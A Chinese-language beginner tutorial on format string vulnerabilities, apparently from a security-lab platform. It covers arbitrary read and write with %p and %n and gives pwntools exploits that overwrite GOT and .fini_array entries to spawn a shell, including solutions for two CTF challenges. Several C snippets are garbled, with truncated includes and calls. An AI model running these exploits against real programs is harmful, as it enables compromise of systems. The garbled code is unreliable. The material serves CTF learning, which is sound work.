格式化字符串漏洞及利用_萌新食用

作者：紫色仰望合天智汇

前言

格式化字符串漏洞 具有 任意地址读，任意地址写。

printf

printf --一个参数：情况1

//gcc -g -m32 fmt.c -o fmt
#includestdio.h>
#includestdlib.h>
int main()
{
    printf("%p\n");
    return 0;
}

当参数 只有 1个字符串的话(含有%?)， //？ 即 i， x， s 等等第一个参数 作为 格式化字符串，而这个格式化字符串里含有解析 字符串的 %p ，它将 第一个参数作为 格式化字符串，第二个参数 作为 格式化字符串的参数表 中的第一个参数 即 %p 对应 栈中 0xffffd144 的内容，//它将栈中 0xffffd144 的内容 以带有0x 的16进制显示出来。（32位 程序传参方式 传到栈上，栈地址 0xffffd144 中的内容为 第二个参数）

printf --一个参数：情况2

//gcc -g -m32 fmt.c -o fmt
#includestdio.h>
#includestdlib.h>
int main()
{
    printf("yangmutou!!!\n"); 
    return 0;
}

当参数 只有 1个字符串的话(不含有%?)，在Linux中会 被转化为puts(arg) //？ 即 i， x， s 等等

printf --两个参数：

//gcc -g -m32 fmt.c -o fmt
#includestdio.h>
#includestdlib.h>
int main()
{
    char a[12]="yangmutou!!!";
    printf("%s!!!\n",a);    


    return 0;
}

当两个参数 时，第一个参数作为 格式化字符串，第二个参数 作为 格式化字符串的参数表 中的第一个参数 即 %s 对应 “yangmutou”

printf --三个参数：

//gcc -g -m32 fmt.c -o fmt
#includestdio.h>
#includestdlib.h>
int main()
{
    char a[12]="yangmutou!!!";
    int b=20;
    printf("%s!!!\nage: %d\n",a,b);

    return 0;
}

当三个参数 时，第一个参数作为 格式化字符串，第二个参数 作为 格式化字符串的参数表 中的第一个参数 即 %s 对应 “yangmutou”第三个参数 作为 格式化字符串的参数表 中的第二个参数 即 %d 对应 20

任意地址 读

而这个函数是有漏洞的 我们简单 看下面我写的例子：

//gcc -g -m32 fmt.c -o fmt
#includestdio.h>
#includestdlib.h>
#includeunistd.h>
int backdoor()
{
  return system("/bin/sh\x00");
}


int main()
{
    char buf[100];
    read(0, 
    printf(


    return 0;
}

我们可以控制 printf 的参数。我们输入 “aaaa%p.%p.%p.%p.%p.%p.%p.%p.%p.%p”到 0xffffd11c 栈地址处

1. 可以看到 我们输入的这一整个字符串 作为了 格式化字符串，
   
2. aaaa后面的第一个 %p 被 格式化字符串的参数表 中的第一个参数(0xffffd100+0x4*1中的内容) 解析成“0x + 16进制”0xffffd11c 然后替换掉
   
3. aaaa后面的第二个 %p 被 格式化字符串的参数表 中的第二个参数(0xffffd100+0x4*2中的内容) 解析成“0x + 16进制” 0x64 然后替换掉
   
4. aaaa后面的第二个 %p 被 格式化字符串的参数表 中的第三个参数(0xffffd100+0x4*3中的内容) 解析成“0x + 16进制” 0x5655561e 然后替换掉
   

具体可以 看下面的 gdb 截图：

此时的栈：

另外 我们可以通过这种 方法 得到 ，第 7 个 %p 被替换成 0x61616161，即我们输入的 字符串 存到了 偏移 为 7 的 位置。 这里的偏移 可以理解为 上面 的 “格式化字符串的参数表 中的第 x 个参数” 另外 我们可以通过输入 %offset$p 直接输出 偏移为 7 处的内容(“0x + 16进制”) 试下 输出结果：

$ ./fmt
aaaa%7$p
aaaa0x61616161

我们可以观察下 栈地址 0xffffd11c+0x4*2 处中的地址是个 指向字符串的指针

我们可以 输出结果：

%9$s
/home/yangmutou/桌面/fmt

总结：即格式化漏洞的任意地址 读 其实仅需要 通过 “%偏移$格式输出” 便可以了，利用方式 很简单。 这里主要 就是 要特别 注意一点，这里的偏移 是指的格式化 字符串的第几个参数，而不是说是printf 函数的第几个参数呐， 因为 本来 格式化字符串 就是 printf 函数的第一个参数。两者 有 相差 1 的数学等式 关系。

任意地址 写

我们还看 上面我写的小例子。

#includestdio.h>
#includestdlib.h>
#includestring.h>
#includeunistd.h>
int backdoor()
{
  return system("/bin/sh\x00");
}


int main()
{
    char buf[100];
    memset(
    read(0, 
    printf(


    return 0;
}

因为 不存在栈溢出，但我们要 getshell又 需要将 返回地址 给覆盖成 backdoor 地址。即需要利用格式化字符串漏洞的 任意地址写。

首先：

bss_addr : 0804a028 //readelf -S fmt | grep bss 得到 在格式化字符串 中 有一个 特殊的格式化控制符 “%n”，它可以将已经输出的字节个数写入到 指定的 的地址中 一般使用方式： "\x28\xa0\x04\x08%7$n",就是 将 已经输出的字节个数 写入到 指定的地址0x0804a028 处 （这里指定的地址处就是 偏移为7(格式化字符串的第7个参数) 的栈地址中的内容，即就是 我们写入的0x0804a024 指定地址）

payload 写成上面形式 理论上 是可以成功的，但我这次确失败了。 于是就写脚本形式吧。

from pwn import *
p=process("./fmt")


bss_addr=0x0804a028
offset=7
payload=p32(bss_addr)+"%7$n"
gdb.attach(p)
p.sendline(payload)
p.interactive()

输入之前：

输入 之后 ：

可以发现 4 被写入发 0x0804a024 中了 ,4即是p32(0x0804a024)的字节数。输出到屏幕上 的。

以上我们就算是演示下 任意写的 简单用法了。

而这题 我原本想的 是 将 backaddr 的地址写入 ret_addr,脚本如下： 但失败了，因为想法 就是错的。

如果我们采用 下面exp 的方法 ，是向 ret_addr 所在栈地址中的 内容 作为指针 ，向这个 指针中 写入 0x80484b6 。 而并不是 把 ret_addr 所在栈地址 作为指针，并不是向栈地址中写入 0x80484b6

from pwn import *
p=process("./fmt")

backdoor=0x80484b6
offset=(0x8c-0xc)/4+7
payload=p32(backdoor)+"%"+str(backdoor-4)+"c%"+str(offset)+"$n"
#gdb.attach(p)
p.sendline(payload)

p.interactive()

所以 ，换思路： 我们 将printf_got 指针指向的 地址 改为 system_plt

from pwn import *
p=process("./fmt")
elf=ELF("./fmt")
offset=7
printf_got=elf.got['printf']#0x0804a010
system_plt=elf.plt['system']#0x08048360
print "printf_got is "+hex(printf_got)
print "system_plt is "+hex(system_plt)


payload=p32(printf_got)+"%"+str(system_plt-4)+"c%7$n"# make printf_got -> system_plt
gdb.attach(p)
p.sendline(payload)

p.interactive()

可以看到 printf_got 指针指向的 地址 改为了 system_plt

所以，printf(stdio.h> #includestdlib.h> #includestring.h> #includeunistd.h> int backdoor() { return system("/bin/sh\x00"); } int main() { while(1) { char buf[100]; memset( read(0, printf( } return 0; }

exp:

from pwn import *
p=process("./fmt")
elf=ELF("./fmt")
offset=7
printf_got=elf.got['printf']#0x0804a010
system_plt=elf.plt['system']#0x08048360
print "printf_got is "+hex(printf_got)
print "system_plt is "+hex(system_plt)

payload=p32(printf_got)+"%"+str(system_plt-4)+"c%7$n"# make printf_got -> system_plt
gdb.attach(p)
p.sendline(payload)
p.sendline("/bin/sh\x00")

p.interactive()

成功 getshell！

%n系列

当这样构造payload 在比赛或者是 实际 漏洞利用时，往往会不会成功。因为一次行传输这么大量的字节 会导致网络卡顿或者中断连接。

我们再来了解下”%n“ 格式化字符的扩展(称不上 其实，就称为一个系列吧)

1. %n 一次性写入4个字节
   
2. %hn 一次性写入2个字节
   
3. %hhn 一次性写入1个字节
   

这个"%n"系列的 作用就是 向 指定的地址中写入 已经输出的字节个数。 用 "%偏移$n"("%偏移$hn","%偏移$hhn") 用偏移控制 指定地址。

我们稍微改造下 上面的exp：

#coding:utf8
from pwn import *
p=process("./fmt")
elf=ELF("./fmt")
offset=7
printf_got=elf.got['printf']#0x0804a010
system_plt=elf.plt['system']#0x08048360
print "printf_got is "+hex(printf_got)
print "system_plt is "+hex(system_plt)

#思路：向 printf_got 中 写入 system_plt
# 我们把  printf_got 最低位字节 覆盖成 0x60  一字节 写入 %hhn
# 我们把  printf_got 最低位字节+1字节 覆盖成 0x83  一字节 写入 %hhn
# 我们把  printf_got 最低位字节+2字节 覆盖成 0x04  一字节 写入 %hhn
# 我们把  printf_got 最低位字节+3字节 覆盖成 0x08  一字节 写入 %hhn

payload=p32(printf_got)      #0x60          # 偏移  为 7
payload+=p32(printf_got+1)   #0x83          # 偏移  为 8
payload+=p32(printf_got+2)   #0x04          # 偏移  为 9
payload+=p32(printf_got+3)   #0x08          # 偏移  为 10

payload+="%"+str(0x60-0x4*4)+"c%7$hhn"        #0x60          # 偏移  为 7
payload+="%"+str(0x83-0x60)+"c%8$hhn"         #0x83          # 偏移  为 8
payload+="%"+str(0x104-0x83)+"c%9$hhn"        #0x04          # 偏移  为 9  #由于是hhn所以会被截断，只留后两位
payload+="%"+str(0x8-0x4)+"c%10$hhn"          #0x08          # 偏移  为 10

gdb.attach(p)
p.sendline(payload)
p.sendline("/bin/sh\x00")


p.interactive()

成功getshell！ 其实 有一点疑问的 明明 printf_got，system_plt 的地址 的搞两个字节 相同，但在这题中 如果不覆盖 会失败！

pwntools之 Fmtstr

在 pwntools 提供给了 我们一个 很方便的 类 Fmtstr，用于构造 格式化任意写 的payload 官方文档可见于：

http://docs.pwntools.com/en/stable/fmtstr.html

最常用 功能：

fmtstr_payload(offset, {printf_got:system_plt})

即 第一个参数 为 输入的payload 的偏移，第二个参数 为一个 {} 组合，“:”前面是要覆盖地址里的内容 被覆盖为":"后面的内容。 所以这题就可以这样构造：

#coding:utf8
from pwn import *
p=process("./fmt")
elf=ELF("./fmt")
offset=7
printf_got=elf.got['printf']#0x0804a010
system_plt=elf.plt['system']#0x08048360
print "printf_got is "+hex(printf_got)
print "system_plt is "+hex(system_plt)
payload = fmtstr_payload(offset, {printf_got:system_plt})
p.sendline(payload)
p.recv()
p.sendline('/bin/sh\x00')
p.interactive()

而上面 是 32 位程序，我们现在来学下 看下更加主流的 64 位程序 是如何的。

//gcc -g -fno-stack-protector -no-pie -o fmt fmt.c    为了调试方便，关闭canary 和pie 保护；  另外去掉 -m32 参数
#includestdio.h>
#includestdlib.h>
#includestring.h>
#includeunistd.h>
int backdoor()
{
  return system("/bin/sh\x00");
}


int main()
{
    while(1)
    {
        char buf[100];
        memset(
        read(0, 
        printf(
    }


    return 0;
}

我门首先还是 查看 偏移：

aaaaaaaa%p.%p.%p.%p.%p.%p.%p.%p.%p.%p

gdb 调试：

发现，我们的payload 存放在 栈顶了，偏移难道是 0 吗，当然并不是。

但我们都知道 64 位程序 传参的时候是 从左到右 依次放入 寄存器：rdi，rsi，rdx，rcx，r8，r9 ， 当参数大于等于 7 的时候 后面参数会依次 从右向左 放入栈中！

即 栈顶 存放的我们输入的payload 是作为了 printf 函数的 第7个参数，格式化字符串的第6个参数。偏移即为 6. 我们可以简单证明下：

我们知道了偏移，也可以得到 printf_got,printf_plt 那么看看是否 64位 也可以 用Fmtstr 一把梭 getshell! exp：

#coding:utf8
from pwn import *
context(arch="amd64",os='linux',log_level="debug")

p=process("./fmt_64")
elf=ELF("./fmt_64")
offset=6
printf_got=elf.got['printf']
system_plt=elf.plt['system']
'''
printf_got is 0x601020
system_plt is 0x40049c
'''
print "printf_got is "+hex(printf_got)
print "system_plt is "+hex(system_plt)

#pause()
payload = fmtstr_payload(offset, {printf_got:system_plt})
gdb.attach(p)
p.sendline(payload)
p.recv()
p.sendline('/bin/sh\x00')
p.interactive()

发现 并不能 这样 构造 我们可以看下 payload(以dubug 查看)

在 \x20\x10\x60后面的 是64位程序地址的高位 “\x00”但 “\x00”又会 是 字符串的结束符，相当于 截断了 payload。 使payload 失去作用。 于是 我们可以 调整payload，将 地址 放在 payload 的最后。由于地址中带有\x00，所以这回就不能用%hhn分段写了，因此我们的payload构造如下

#coding:utf8
from pwn import *
context(arch="amd64",os='linux',log_level="debug")

p=process("./fmt_64")
elf=ELF("./fmt_64")
offset=6
printf_got=elf.got['printf']
system_plt=elf.plt['system']
'''
printf_got is 0x601020
system_plt is 0x40049c
'''
print "printf_got is "+hex(printf_got)
print "system_plt is "+hex(system_plt)


#pause()

payload = "%"+str(system_plt)+"c%6$lln"+p64(printf_got)

gdb.attach(p)
p.sendline(payload)
p.recv()
p.sendline('/bin/sh\x00')
p.interactive()

gdb 查看下 是否对齐 和printf_got所在偏移

可以发现错位了 1字节 偏移为8 我们修正 下 payload，

#coding:utf8
from pwn import *
context(arch="amd64",os='linux',log_level="debug")

p=process("./fmt_64")
elf=ELF("./fmt_64")
offset=6
printf_got=elf.got['printf']
system_plt=elf.plt['system']
'''
printf_got is 0x601020
system_plt is 0x40049c
'''
print "printf_got is "+hex(printf_got)
print "system_plt is "+hex(system_plt)

#pause()
payload = "a"+"%"+str(system_plt-1)+"c%8$lln"+p64(printf_got)

gdb.attach(p)
p.sendline(payload)
p.recv()
p.sendline('/bin/sh\x00')
p.interactive()

getsehll 成功！！！

当我们程序只能运行 一次呢，我们要怎样 gadshell 呢。 再无法 ROP的情况下，我们如何利用 格式化字符串 来使得程序重新 运行呢。 这里有个 流程表，

main函数作为程序入口，但编译成程序的时候入口其实是start代码段。（看下面图更利于理解）start代码段还会调用__libc_start_main来做一些初始化工作，最后调用main函数并在main函数结束后做一些处理。

在main函数前会调用.init段代码和.init_array段的函数数组中每一个函数指针。同样的，main函数结束后也会调用.fini段代码和.fini._arrary段的函数数组中的每一个函数指针。 （以上两行内容 来自 https://bbs.ichunqiu.com/thread-43624-1-1.html ）

所以 如果 程序 不存在循环，我们的思路一般是，把 printf_got 给改成 system_plt, 同时 把我们可以 将.fini._arrary 中的 第一个指针 给 覆盖成 start 地址，当 程序 结束后，调用 .fini._arrary的第一个指针，便将执行流 弄到 程序在开始处，即相当于重新 执行了一次程序，但 printf_got 已经 是 system_plt 了，我们 输入 "/bin/sh\x00"就可拿到 shell。

我看到 这里时，本试图自己写个小程序

//gcc -g -fno-stack-protector -no-pie -o fmt_64_2 fmt.c
#includestdio.h>
#includestdlib.h>
#includestring.h>
#includeunistd.h>
int backdoor()
{
  return system("/bin/sh\x00");
}

int main()
{
    char buf[100];
    memset(
    read(0, 
    printf(
    return 0;
}

正常 来想 我觉得 这样 是可以 getshell 的。

但因为 无法控制 .fini._arrary 所造内存的 RWX状态，没法 向 .fini._arrary 第一个指针里 写入 内容。 默认只可读。

但假设 它可写，没意外的话，以下 exp 是应该是 可以 getshell 的。

#coding:utf8
from pwn import *
context(arch="amd64",os='linux',log_level="debug")


p=process("./fmt_64")
elf=ELF("./fmt_64")
#offset=6
printf_got=elf.got['printf']
system_plt=elf.plt['system']


backdoor=0x4005c7
fini_array=0x600e18        #readelf -S fmt_64 | grep fini_array


'''
backdoor is 0x4005c7
fini_array is 0x600e18
'''
print "backdoor is "+hex(backdoor)
print "fini_array is "+hex(fini_array)
#pause()


payload = "a"+"%"+str(backdoor-1)+"c%8$lln"+p64(fini_array)


#gdb.attach(p,"b main")
p.sendline(payload)
p.recv()
p.interactive()

不假设了，还是看真题吧！

MMA CTF 2nd 2016-greeting

即 32位 的elf 文件，开启了 canary

$file greeting
 ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-, for GNU/Linux 2.6.24, BuildID[sha1]=beb85611dbf6f1f3a943cecd99726e5e35065a63, not stripped

$checksec greeting

Arch:     i386-32-little
RELRO:    No RELRO
Stack:    Canary found
NX:       NX enabled
PIE:      No PIE (0x8048000)

拖入 ida: 看下程序 流程： 程序大概就是我们输入等于64 个字符 到v5中，然后 将”Nice to meet you, “+我们输入的64个字符+ “:)\n” 复制到s中！

int __cdecl main(int argc, const char **argv, const char **envp)
{
  char s; // [esp+1Ch] [ebp-84h]
  char v5; // [esp+5Ch] [ebp-44h]
  unsigned int v6; // [esp+9Ch] [ebp-4h]


  v6 = __readgsdword(0x14u);
  printf("Please tell me your name... ");
  if ( !getnline(( ");
  sprintf(    //格式化字符串漏洞
  return printf(
  //这里存在 很明显的  格式化字符串
}

size_t __cdecl getnline(char *s, int n)
{
  char *v3; // [esp+1Ch] [ebp-Ch]
  fgets(s, n, stdin);
  v3 = strchr(s, 10);
  if ( v3 )
    *v3 = 0;
  return strlen(s);
}

解题思路： 1. 为了程序重新运行，我们将.fini_array数组的第一个元素为start地址 2. 因为当执行过start地址后，.fini_array数组的第一个元素将不再是start地址，所以我们在将程序重新执行后，我们需要将执行过程中的一个函数的got地址改成system的plt地址，然后第二次就直接输入/bin/sh\x00 拿shell了

测偏移：12 首先 输入 aaaa%p..%p..%p..%p..%p..%p..%p..%p..%p..%p..%p..%p..%p..%p..%p..%p..

Hello, I'm nao!
Please tell me your name... aaaa%p..%p..%p..%p..%p..%p..%p..%p..%p..%p..%p..%p..%p..%p..%p..%p..%p..%p..%p..%p..%p..%p..%p..%p..%p..%p..%p..%p..%p..%p..%p..%p..
Nice to meet you, aaaa0x80487d0..0xffa5f54c..(nil)..(nil)..(nil)..(nil)..0x6563694e..0x206f7420..0x7465656d..0x756f7920..0x6161202c..0x70256161..0x70252e2e..0x70252e2e..0x70252e2e. :)

发现 0x70256161 6161 是我们 的输入的a！显然没有对齐，我们在aaaa前面再加2a，于是 我们发送aaaaaa%p..%p..%p..%p..%p..%p..%p..%p..%p..%p..%p..%p..%p..%p..%p..%p..

Hello, I'm nao!
Please tell me your name... aaaaaa%p..%p..%p..%p..%p..%p..%p..%p..%p..%p..%p..%p..%p..%p..%p..%p..
Nice to meet you, aaaaaa0x80487d0..0xffb9e0bc..(nil)..(nil)..(nil)..(nil)..0x6563694e..0x206f7420..0x7465656d..0x756f7920..0x6161202c..0x61616161..0x2e2e7025..0x2e2e7025..% :)#

发现是12偏移 aaaaaa的后四个a 的偏移 是 12 对应于 下面exp 中payload 中的 p32(fini_array) 位置处

其中 exp 中 %hn 是以 两字节 写入。 这里 之所以 payload 最开始 会 对 +18 感到 疑惑，其实 这是 因为 sprintf( //格式化字符串漏洞 首先 会输出 18 字节的 格式化字符串。

#coding:utf8
from pwn import *
context.log_level = 'debug'
conn=process('./greeting')
elf=ELF('./greeting')
fini_array=0x08049934         #readelf -S greeting
start=0x080484f0          #   ida  看的更方便嘛！
system_plt=0x8048490         
strlen_got=elf.got['strlen']
#print "strlen_got: "+hex(strlen_got)
#print "system_plt: "+hex(system_plt)
#print "fini_array: "+hex(fini_array)
#print "start: "+hex(start)
conn.recv()
payload='aa'+p32(fini_array)+p32(strlen_got+2)  #18+2+4+4
payload+=p32(strlen_got)+'%34000c%12$hn'        # +4+34000=0x84f0
payload+='%33556c%13$hn'                     #0x84f0+33556=0x10804 截断=0x0804
payload+='%31884c%14$hn'                     #0x10804+31884=0x18049 截断=0x8049
conn.sendline(payload)  #此时已 一次性将 fini_array->start   strlen_got->system_plt
conn.recv()                     #程序重新运行了，接受Please tell me your name...
conn.sendline('/bin/sh\x00')
conn.interactive()

成功 getshell：

然后 最后 我再 说下 这题吧！ 也是个 格式化字符串 任意写的 一个题型。

BJDCTF 2nd - Pwn_r2t4

这个程序 是 64位 并开启了 Canary保护的elf 文件，三天前比赛真题，还热乎着呢。

程序流程也很简单，输入什么 就输出 什么。当然这里是一个 很明显的 格式化字符串漏洞。 并程序 只运行 一遍，且含有 后门函数。

int __cdecl main(int argc, const char **argv, const char **envp)
{
  char buf; // [rsp+0h] [rbp-30h]                       
  unsigned __int64 v5; // [rsp+28h] [rbp-8h]


  v5 = __readfsqword(0x28u);
  read(0,              //存在栈溢出 漏洞，但有canary 保护，虽然可通过任意地址写 可泄露canary，但程序只运行 一边。
  printf(
  return 0;
}

unsigned __int64 backdoor()
{
  unsigned __int64 v0; // ST08_8


  v0 = __readfsqword(0x28u);
  system("cat flag");
  return __readfsqword(0x28u) ^ v0;
}

通过上面代码中的注释可知，栈溢出的方法 不可取， 因为程序开启了Canary 当函数返回的时候 会比较canary的 值 是否发生变化，如果不一致，就触发 stack_chk_fail 函数。且程序中 含有后门函数。 我们可通过格式化字符串写 将backdoor_addr写入 stack_chk_fail_got 中 脚本如下：

#coding:utf8
from pwn import *
context(arch="amd64",os='linux',log_level="debug")

p=process("./r2t4")
p=remote("node3.buuoj.cn",26640)
elf=ELF("./r2t4")
offset=6
__stack_chk_fail=elf.got['__stack_chk_fail']
backdoor=0x400626

'''
__stack_chk_fail is 0x601018
backdoor is 0x400626
'''
print "__stack_chk_fail is "+hex(__stack_chk_fail)
print "backdoor is "+hex(backdoor)

#pause()
payload = "a"+"%"+str(backdoor-1)+"c%8$lln"+p64(__stack_chk_fail)#  0x30
payload+=(0x30-8-len(payload))*'a'
#gdb.attach(p,"b main")
p.sendline(payload)
#pause()
p.recv()
p.interactive()

成功 getshell

最后最后简单 说下

和格式化字符串漏洞相关的漏洞缓解机制

这部分建议 阅读 下面参考链接吧。 参考链接： https://bbs.ichunqiu.com/thread-43624-1-1.html 我们在checksec 程序的时候中 的RELRO 项： RELRO是重定位表只读（Relocation Read Only）的缩写，即plt 和got 表， 1. 如果 这项的 内容 为 No RELRO的话 就代表 重定位表 不是仅可读的，我们在 漏洞利用的时候 可 优先考虑 修改某个函数的 got 表项，去达到 getshell 的目的。 2. 如果 "其RELRO项为Partial RELRO 即该程序的重定位表项全部只读，无论是.got还是.got.plt都无法修改。改got表，程序不会报错，但是数据未被修改， 3. 而如果 程序开启了Full RELRO保护之后，包括格式化字符串漏洞在内，试图通过漏洞劫持got表的行为都将会被阻止。 4. 如果 是FORTIFY，这是一个由GCC实现的源码级别的保护机制，其功能是在编译的时候检查源码以避免潜在的缓冲区溢出等错误。简单地说，加了这个保护之后（编译时加上参数-D_FORTIFY_SOURCE=2）一些敏感函数如read, fgets, memcpy, printf等等可能导致漏洞出现的函数都会被替换成read_chk, fgets_chk, memcpy_chk,printf_chk等。这些带了chk的函数会检查读取/复制的字节长度是否超过缓冲区长度，通过检查·诸如%n之类的字符串位置是否位于可能被用户修改的可写地址，避免了格式化字符串跳过某些参数（如直接%7$x）等方式来避免漏洞出现。开启了FORTIFY保护的程序会被checksec检出，此外，在反汇编时直接查看got表也会发现chk函数的存在

其实 ，不得说下 我对最后一个 FORTIFY ，还没怎么接触到。经验 太少！

格式化（字符串）溢出实验

http://hetianlab.com/expc.do?ec=2a2450e9-563e-4d99-b0ab-089d65ba7d4d

（通过本实验，理解格式化字符串漏洞，并对其进行利用）